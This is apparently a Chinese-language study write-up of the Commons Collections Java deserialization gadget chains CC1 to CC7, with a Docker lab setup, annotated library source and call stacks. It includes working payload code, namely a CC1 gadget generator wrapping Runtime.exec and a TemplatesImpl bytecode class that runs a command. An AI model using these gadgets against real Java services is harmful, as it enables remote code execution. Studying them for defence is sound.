Commons Collections链分析
前言
CC链,作为Java反序列化漏洞学习的必修部分,在这里填个坑。
环境搭建
老样子,用Docker远程调试是最方便的,在这里根据javasec构建自己的docker镜像:
漏洞环境与javasec基本一致,只不过使用spring boot设置了一系列路由,然后使用mvn构建jar包:
1
| mvn clean install -DskipTests
|
然后是构造dockerfile,java版本有限制,版本需要比7u21小,找了一大圈没有现成的镜像,只能自己构建。最后得到的环境能够复现除CC5之外的其他链(CC5需要jdk 1.8)。
Docker file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| FROM ubuntu:18.04 RUN apt-get update RUN apt-get install -y iputils-ping ADD jdk-7u21-linux-x64.tar.gz /usr/local ENV JAVA_HOME /usr/local/jdk1.7.0_21 ENV PATH $PATH:$JAVA_HOME/bin ENV JAVA_TOOL_OPTIONS -agentlib:jdwp=transport=dt_socket,address=10087,server=y,suspend=n COPY deser-0.0.1-SNAPSHOT.jar /usr/src/deser.jar EXPOSE 10086 CMD ["java", "-Dserver.address=0.0.0.0", "-Dserver.port=10086", "-jar", "/usr/src/deser.jar"]
|
docker-compose.yml:
1 2 3 4 5 6 7 8 9 10
| version : '2' services: server: build: context: . dockerfile: Dockerfile ports: - "10086:10086" - "10087:10087"
|
环境已上传:CC_docker_remote
主要参考了CC链 1-7 分析对常用的链结的单独分析,可以很好地帮助理解。在这里根据该文记录一下自己的理解。
Transformer接口是Commom Collection库中的一个很常用的接口,重点在于方便的“对象转化”,可以把Transformer接口的众多实现看作一系列的类处理器,能够对类进行各种不同的操作,将一种类转化为另一种类。这些实现的核心是定义了自己的 transform()
方法,其中包括返回某值、调用某个指定方法等。
参考:Interface Transformer
“常量”转化器,顾名思义,每次都返回同一个“常量对象”,实现了一个每次都返回其初始值的转化类。具体而言,其初始化时对 this.iConstant
进行赋值,然后每次调用 transform()
时会返回 this.iConstant
。
“方法调用”转化器,顾名思义,调用 transform()
时会调用初始化时赋值的一种方法(通过对 this.iMethodName
反射得到)对其要处理的对象进行处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public class InvokerTransformer implements Transformer, Serializable { ... private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { ... Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); ... } } }
|
“实例化”转化器,顾名思义,反射调用构造函数以将对应的类实例化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class InstantiateTransformer implements Transformer, Serializable { ... public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer(); private final Class[] iParamTypes; private final Object[] iArgs; public InstantiateTransformer(Class[] paramTypes, Object[] args) { this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); }
|
“链式处理”转化器,顾名思义,使用该类时,我们可以初始化一个 Transformer[]
数组,调用 transform()
时会依次运用这个数组中的转化器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class ChainedTransformer implements Transformer, Serializable { ... private final Transformer[] iTransformers; public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; } }
|
在构造系统命令执行的操作中,一般使用该类对一系列的对象获取过程进行实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class Test { public static void main(String[] args) { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform("test123"); } }
|
以上这些类是直接用来执行恶意指令的,但核心是需要触发任意类的 transform()
方法,各个CC链使用了不同的方法从 readObject()
到执行任意类的 transform()
。
CC1
我们详细分析CC1的利用过程,在CC2-7中是类似的,类比即可
环境要求:CC 3.1-3.2.1, jdk < u71
Proxy类
在分析具体的链之前,我们先学习一下Java的动态代理,其关键类是 java.lang.reflect.Proxy
- 什么是代理?代理对象 = 增强代码(附加的操作) + 目标对象(原对象)。有了代理对象后,就不使用原对象了(用代理对象来代替原对象,进行一些额外操作)
- 什么情况使用代理?例:当我们需要对原对象进行日志记录时(类似于python的装饰器,在调用该对象前做某些操作)
- 如何实现静态代理?需要对原来的类实现一个一模一样的代理类,并在其基础上加入代理的额外操作。这样很麻烦
- 如何简化这个过程?使用动态代理
- 动态代理原理是什么?怎么使用?动态代理时,java通过现有的类动态创建一个新的类,并在其基础上添加一些额外操作,并且这个过程仅需要一行代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| Object proxy = Proxy.newProxyInstance( target.getClass().getClassLoader(), target.getClass().getInterfaces(), new InvocationHandler(){ public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println(method.getName() + "方法开始执行..."); Object result = method.invoke(target, args); System.out.println(result); System.out.println(method.getName() + "方法执行结束..."); return result; } } ); proxy.xxx();
|
每次调用代理对象的任意方法,最终都会调用 InvocationHandler
的 invoke()
方法。通过类似hook的方式,对原对象的每个成员方法都进行hook。
参考:Java 动态代理作用是什么? - bravo1988的回答 - 知乎
AnnotationInvocationHandler类
- 从头开始分析,CC1的入口是
AnnotationInvocationHandler
类(sun.reflect.annotation.AnnotationInvocationHandler
)的readObject()
,其中执行了this.memberValues.entrySet()
,调用了this.memberValues
的成员方法。所以我们可以将其设置为动态代理。然后我们再构造另一个AnnotationInvocationHandler
,并设置为代理的InvocationHandler
,进而调用该InvocationHandler
的invoke()
方法
- 然后,CC1链通过是
AnnotationInvocationHandler
的invoke()
方法触发LazyMap
的get
方法。其关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { this.type = var1; this.memberValues = var2; } public Object invoke(Object var1, Method var2, Object[] var3) { Object var6 = this.memberValues.get(var4); } private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } } }
|
我们继续分析LazyMap类的 get()
LazyMap类
- LazyMap类(
org.apache.commons.collections.map.LazyMap
)的get
方法中可以调用任意类的transform
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public class LazyMap extends AbstractMapDecorator implements Map, Serializable { ... protected final Transformer factory; public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } } public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } ... } }
|
自此,我们便能触发各种transformer链,执行恶意命令。调用栈大概为:
1 2 3 4 5 6
| AnnotationInvocationHandler.readObject() ->mapProxy.entrySet().iterator() ->AnnotationInvocationHandler.invoke() ->LazyMap.get() ->ChainedTransformer.transform() ...
|
其中还包含一些其他的细节,通过代码和注释的形式来说明:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| public class TestCC { public static Object getObject(String cmd) throws Exception { String[] execArgs = new String[]{cmd}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); Class tmp_annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = tmp_annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Map testMap = new HashMap(); Map lazyMap = LazyMap.decorate(testMap, chainedTransformer); InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler); InvocationHandler res = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap); Class chainClass = chainedTransformer.getClass(); Field iTransformers = chainClass.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(chainedTransformer, transformers); return res; } }
|
- 需要注意的是其中首先获取的是一个“空”的ChainedTransformer,以避免在payload生成阶段就执行恶意命令,导致利用失败。这里很奇怪,试了不用1占位,开了debug并且打断点才触发,跟toString也没有关系,是在proxy建立那一步完成时,debugger获取信息的时候触发的,断点都不会停。经过和多个师傅的交流测试,发现很玄学,我自己的环境不行,其他师傅的可以,并且跟版本似乎没啥关系,不管它了。
- 此外,本链的入口有两个InvocationHandler通过动态代理嵌套,而不是只有一个InvocationHandler。
jdk 1.8 中的修复
jdk 1.8中的 sun.reflect.annotation.AnnotationInvocationHandler
的readObject方法中的关键步骤 Iterator var4 = this.memberValues.entrySet().iterator();
变成了 LinkedHashMap var7 = new LinkedHashMap();
导致不可控了,从而断掉了此链:
1 2 3 4 5 6 7 8
| private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { ... LinkedHashMap var7 = new LinkedHashMap(); ... for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { ...
|
CC3
- 环境要求:CC 3.1-3.2.1, jdk < 7u21
- 为什么要先看CC3而不是CC2呢,因为该链在CC1的基础上得到,在命令执行的Transformer阶段,去掉了
InvokerTransformer
的Serializable继承,导致无法序列化。所以将transformer链中的该对象替换为InstantiateTransformer、TrAXFilter、TemplatesImpl对象的组合
- 首先,从
transform()
方法的调用开始,通过InstantiateTransformer
触发TrAXFilter的构造函数。然后继续分析如下:
TrAXFilter类
- TrAXFilter类(
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
)的构造函数中能够调用任意类的newTransformer
方法:
1 2 3 4 5 6 7 8 9 10
| public class TrAXFilter extends XMLFilterImpl { public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); ... } }
|
TemplatesImpl类
- TemplatesImpl类(
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
)的newTransformer
方法会使用类加载器根据字节码(this._bytecodes
)动态加载类,并将其实例化,所以可以利用该类动态加载获取任意的恶意类。由于是动态加载,如果能够调用该类的newTransformer
方法,就可以加载攻击者自定义实现的恶意类(会调用该类的构造函数),从而执行任意命令。到此,该链分析完毕。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public final class TemplatesImpl implements Templates, Serializable { private String _name = null; private byte[][] _bytecodes = null; private transient TransformerFactoryImpl _tfactory = null; //关键方法:newTransformer() public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; // 关键点,调用 getTransletInstance() transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); } //跟进 getTransletInstance() 方法: private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; //先判断是否为 null,如果为 null 的话去加载字节码,然后调用newInstance()对其实例化。 if (_class == null) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ... } } ...
|
其中的恶意字节码类需要继承 AbstractTranslet
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class HelloTemplatesImpl extends AbstractTranslet { public HelloTemplatesImpl() { super(); try{ Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
这里的payload在字节码部分有多种写法,可以直接将恶意字节码硬写为base64,也可以通过javassist得到字节码。
调用栈大概为:
1 2 3 4 5 6 7 8 9 10
| ->AnnotationInvocationHandler.readObject() ->mapProxy.entrySet().iterator() ->AnnotationInvocationHandler.invoke() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InstantiateTransformer.transform() ->TrAXFilter.TrAXFilter() ->TemplatesImpl.newTransformer() ->触发恶意字节码中的操作(构造函数)
|
CC2
引自CC链 1-7 分析:
利用条件比较苛刻:首先CommonsCollections3无法利用,因为其 TransformingComparator无法序列化。其次只有 CommonsCollections4-4.0 可以使用,因为 CommonsCollections4其他版本去掉了 InvokerTransformer
的Serializable继承,导致无法序列化。
该链选择PriorityQueue类的 readObject()
作为入口,下面开始分析
PriorityQueue类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable { private transient Object[] queue; private final Comparator<? super E> comparator; private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { heapify(); } private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); } private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; } }
|
可以很容易发现,从 readObject()
能够执行到 siftDownUsingComparator
并且调用自定义的Comparator的 compare()
方法
该类的compare方法正好能够触发任意类的 transform()
方法,后面再接TemplatesImpl即可加载字节码,执行恶意指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class TransformingComparator<I, O> implements Comparator<I>, Serializable { ... private final Comparator<O> decorated; private final Transformer<? super I, ? extends O> transformer; public TransformingComparator(Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); } public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } }
|
调用栈:
1 2 3 4 5 6 7 8 9 10 11
| ->PriorityQueue.readObject() ->PriorityQueue.heapify() ->PriorityQueue.siftDown() ->PriorityQueue.siftDownUsingComparator() ->TransformingComparator.compare() ->InvokerTransformer.transform() // 注意这里,直接把要调用的方法设置为newTransformer,所以链变短了一些 ->TemplatesImpl.newTransformer() ->getTransletInstance() ... ->defineClass、newInstance等sink ->触发恶意字节码中的操作(构造函数)
|
有一个细节:在transformer调用阶段,直接通过 InvokerTransformer
调用了 TemplatesImpl.newTransformer
,链结长度会短一些。
CC4
环境要求:CC 4.0,jdk < 7u21
与CC3的构造动机类似,该链在CC2的基础上,以PriorityQueue类的 readObject()
作为入口,将 InvokerTransformer
替换为InstantiateTransformer、TrAXFilter、TemplatesImpl对象的组合。
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ->PriorityQueue.readObject() ->PriorityQueue.heapify() ->PriorityQueue.siftDown() ->PriorityQueue.siftDownUsingComparator() ->TransformingComparator.compare() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InstantiateTransformer.transform() ->TrAXFilter.TrAXFilter() ->TemplatesImpl.newTransformer() ->getTransletInstance() ... ->defineClass、newInstance等sink ->触发恶意字节码中的操作(构造函数)
|
CC5
环境要求:CC 3.1-3.2.1,jdk 1.8
该链在CC1的基础上,更改了触发入口,将 AnnotationInvocationHandler
的 readObject()
触发点改为BadAttributeValueExpException类的 readObject()
BadAttributeValueExpException类
该类的readObject方法中,会调用 valObj.toString();
,并且valObj可控,即可以调用任意对象的 toString()
方法,这个过程和一些PHP的POP链入口很相似。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public class BadAttributeValueExpException extends Exception { private Object val; private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
|
TiedMapEntry类
TiedMapEntry类中可以有如下执行路径: toString
-> getValue
-> this.map.get(this.key)
,从而可以触发LazyMap的 get
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public class TiedMapEntry implements Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L; private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public String toString() { return this.getKey() + "=" + this.getValue(); } public Object getValue() { return this.map.get(this.key); } }
|
调用栈:
1 2 3 4 5 6 7 8
| ->BadAttributeValueExpException.readObject() ->TiedMapEntry.toString() ->TiedMapEntry.getValue() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ...
|
在java 7中,BadAttributeValueExpException并没有实现readObject方法,并且toString方法也不满足条件,所以该链无法使用:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class BadAttributeValueExpException extends Exception { private static final long serialVersionUID = -3105272988410493376L; private Object val; public BadAttributeValueExpException (Object val) { this.val = val; } public String toString() { return "BadAttributeValueException: " + val; } }
|
idea调试的坑
在调试CC5时,由于IDEA会隐式调用对象的 toString()
,导致在payload生成阶段就会触发,并且使产生的序列化数据出错,导致反序列化时触发payload失败。
CC6
环境要求:CC 3.1-3.2.1,jdk 1.7, 1.8
该链采用HashMap的 reaObject()
作为入口,经过 putForCreate
-> hash(key)
-> k.hashCode()
以触发TiedMapEntry类的 hashCode()
HashMap类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable { private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ... for (int i = 0; i < mappings; i++) { K key = (K) s.readObject(); V value = (V) s.readObject(); putForCreate(key, value); } } private void putForCreate(K key, V value) { int hash = null == key ? 0 : hash(key); int i = indexFor(hash, table.length); ... createEntry(hash, key, value, i); } final int hash(Object k) { int h = hashSeed; if (0 != h && k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h ^= k.hashCode(); ... }
|
TiedMapEntry类
该类的hashCode存在执行路径: this.getValue()
-> this.map.get(this.key)
从而触发LazyMap的 get
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class TiedMapEntry implements Entry, KeyValue, Serializable { ... private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } public Object getValue() { return this.map.get(this.key); } }
|
调用栈:
1 2 3 4 5 6 7 8 9 10
| ->HashMap.readObject() ->HashMap.putForCreate() ->HashMap.hash() ->TiedMapEntry.hashCode() ->TiedMapEntry.getValue() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->...
|
需要注意的是,在payload构造代码中,会执行 res.put(tiedMapEntry, "something");
,这里需要先对chainedTransformer用1占位,以免 put
会提前触发payload,并且导致报错出现,序列化对象出错,反序列化不会触发恶意payload。
CC7
环境要求:CC 3.1-3.2.1,jdk 1.7, 1.8
虽然与之前的一些链一样用到了LazyMap,但前面的链都是生硬地直接去调用LazyMap的get方法,而CC7链的核心思想在于真正利用LazyMap这个装饰类能够调用用户自定义的factory对象的transform方法(与该类的设计思想一致),该链以Hashtable的readObject为入口。这个链在构造时有很多细节,涉及到装饰器模式、多个类的继承和接口的实现,以及hash碰撞等细节。
Hashtable类
Hashtable的readObject存在 reconstitutionPut(table, key, value)
-> e.key.equals(key)
的执行路径(其中,e可控,类型为 Hashtable.Entry<K, V>[]
),该方法用来在反序列化时还原HashTable中各个元素的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public class Hashtable<K,V> extends Dictionary<K,V> implements Map<K,V>, Cloneable, java.io.Serializable { ... private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ... Entry<K,V>[] table = new Entry[length]; ... for (; elements > 0; elements--) { K key = (K)s.readObject(); V value = (V)s.readObject(); reconstitutionPut(table, key, value); } this.table = table; } ... private void reconstitutionPut(Entry<K,V>[] tab, K key, V value) throws StreamCorruptedException { ... for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } ... } }
|
LazyMap类进一步理解以及HashMap
在这里,我们用到用LazyMap来装饰的HashMap对象。
虽然前面的CC1用到了该类,但对CC1的理解并不需要熟悉LazyMap的具体作用,而CC7则需要对其进行熟悉。LazyMap类实际上是一个用来装饰其他Map(比如HashMap)的装饰器,当调用LazyMap的get方法时,会去调用其修饰的Map的对应get方法(在原来的get基础上附加调用用户规定的 this.factory
中的 transform()
),LazyMap的作用就是在被装饰者不包含某键名的Entry时调用工厂类去产生一个Entry:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class LazyMap extends AbstractMapDecorator implements Map, Serializable { ... public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
|
并且,该类继承了 AbstractMapDecorator
抽象类,类似地, AbstractMapDecorator
类的 equals()
,同样起到装饰器作用,会调用被装饰者的 equals()
:
1 2 3 4 5 6 7 8 9 10
| public abstract class AbstractMapDecorator implements Map { ... public boolean equals(Object object) { if (object == this) { return true; } return map.equals(object); } }
|
我们回到上一步分析的链,现在到了 e.key.equals(key)
,这里其实是在尝试检查现在要加入的Entry的key值是不是真的和列表中已有的Entry的key是完全一样的(前面一步是计算它们的hash,并且hash是一样的)。此处会调用LazyMap的 equals
方法,也就是会调用其装饰的HashMap的 equals
方法。然后HashMap继承了 AbstractMap
类,所以调用的实际上是 AbstractMap#equals()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public abstract class AbstractMap<K,V> implements Map<K,V> { public boolean equals(Object o) { ... Map<K,V> m = (Map<K,V>) o; ... try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } ... ... } }
|
这里便会调用LazyMap的get方法,然后就回到了之前的CC命令执行的阶段,大致调用栈:
1 2 3 4 5 6 7 8 9
| ->Hashtable.readObject() ->Hashtable.reconstitutionPut() ->AbstractMapDecorator.equals ->AbstractMap.equals() ->LazyMap.get.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->...
|
一些细节
1. payload构造时为什么要用两个LazyMap?
在 java\util\Hashtable.java#reconstitutionPut
中,实际上是实现了在调用反序列化时对Hashtable中的一个Entry进行还原的操作,其中,关键语句 e.key.equals(key)
是在对现在还原的部分与要添加的新键值对元素的查重操作中发生的(在反序列化的时候,不应该出现重复的元素,否则报错),所以如果table中只有一个元素,就不会进行查重操作,无法触发payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| private void reconstitutionPut(Entry<K,V>[] tab, K key, V value) throws StreamCorruptedException { ... int hash = hash(key); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } Entry<K,V> e = tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
|
2. 为什么要删除LazyMap2中key为yy的元素?
直观来看: hashtable.put(lazyMap2, "test");
会使得lazyMap2增加一个多余的 yy=>yy
键值对,需要删除掉。如果不删掉,待加入的Entry的size就和已有的Entry的size不同,从而使执行流程提前终止,无法触发恶意流程。下面我们来详细看一下怎么回事:
- 为什么会增加一个多余的
yy=>yy
键值对?
在 AbstractMap#equals()
中,会获取HashTable的key,并调用 m.get(key)
,即调用LazyMap装饰器的 get()
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public abstract class AbstractMap<K,V> implements Map<K,V> { public boolean equals(Object o) { ... try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } }
|
而在我们构造的payload中,LazyMap的factory设置为了 ChainedTransformer
,此时 LazyMap#get
会调用factory的 transform()
方法,并在现在的map中加入这个元素(LazyMap的作用就是在被装饰者不包含某键名的Entry时调用工厂类去产生一个Entry),联系装饰器的作用可以很好地理解:
1 2 3 4 5 6 7 8 9 10 11 12
| public class LazyMap extends AbstractMapDecorator implements Map, Serializable { public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
|
而这时, ChainedTransformer
正好返回了值 yy
,所以便对lazyMap2装饰的HashTable插入了一个 yy=>yy
。
- 为什么会提前终止流程?
同样是在 AbstractMap#equals()
中,会提前判断待定的两者的size,如果不同,就会终止流程:
1 2 3 4 5 6 7 8 9
| public abstract class AbstractMap<K,V> implements Map<K,V> { public boolean equals(Object o) { ... Map<K,V> m = (Map<K,V>) o; if (m.size() != size()) return false; ... }
|
3. 该链中的hash碰撞是怎么回事?
- CC7为什么要构造hash碰撞?
还是来看关键触发点,注意到要执行 e.key.equals(key)
,必须确保if语句中的第一个条件 e.hash == hash
为true,也就是说,待新加入的Entry的hash必须要和前面已经加入的元素的hash一致,所以这里需要一个HashTable的hash碰撞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| private void reconstitutionPut(Entry<K,V>[] tab, K key, V value) throws StreamCorruptedException { ... int hash = hash(key); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } ... }
|
- 已知
yy
和 zZ
是一对hash碰撞,那还有没有其他的碰撞呢?
在CC7中,获取的是LazyMap这个对象的hash,这个工作是由native代码( Object.hashCode()
)实现的,
https://github.com/openjdk/jdk/blob/jdk7-b24/jdk/src/share/native/java/lang/Object.c
1 2 3 4 5 6 7
| static JNINativeMethod methods[] = { {"hashCode", "()I", (void *)&JVM_IHashCode}, {"wait", "(J)V", (void *)&JVM_MonitorWait}, {"notify", "()V", (void *)&JVM_MonitorNotify}, {"notifyAll", "()V", (void *)&JVM_MonitorNotifyAll}, {"clone", "()Ljava/lang/Object;", (void *)&JVM_Clone}, };
|
其具体实现需要跟踪 JVM_IHashCode()
方法,这里不再展开,我们选择猜测和模拟该native。
参考java中常常提起的hashCode到底是个啥?,我们可以参考String对象中的hashCode方法重写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public final class String implements java.io.Serializable, Comparable<String>, CharSequence { ... public int hashCode() { int h = hash; if (h == 0 && value.length > 0) { char val[] = value; for (int i = 0; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; } ...
|
首先,调试结果得到 yy
和 zZ
对应的LazyMap的hash都是3873。猜测对于LazyMap的hash,直接取了其中的字符串进行相同的操作,然后进行后续计算,我们将以上代码用python模拟一下,输出了3872,少了1:
1 2 3 4 5 6 7 8 9 10
| def hashCode(string): h = 0 for i in string: h = 31 * h + ord(i) return h print(hashCode('yy')) print(hashCode('zZ'))
|
但这足以说明String和LazyMap的hash是相关的。所以我们简单的减一下第一位的字母,选择为“yx”和“zY”:
1 2 3 4 5 6 7 8 9 10
| def hashCode(string): h = 0 for i in string: h = 31 * h + ord(i) return h print(hashCode('yx')) print(hashCode('zY'))
|
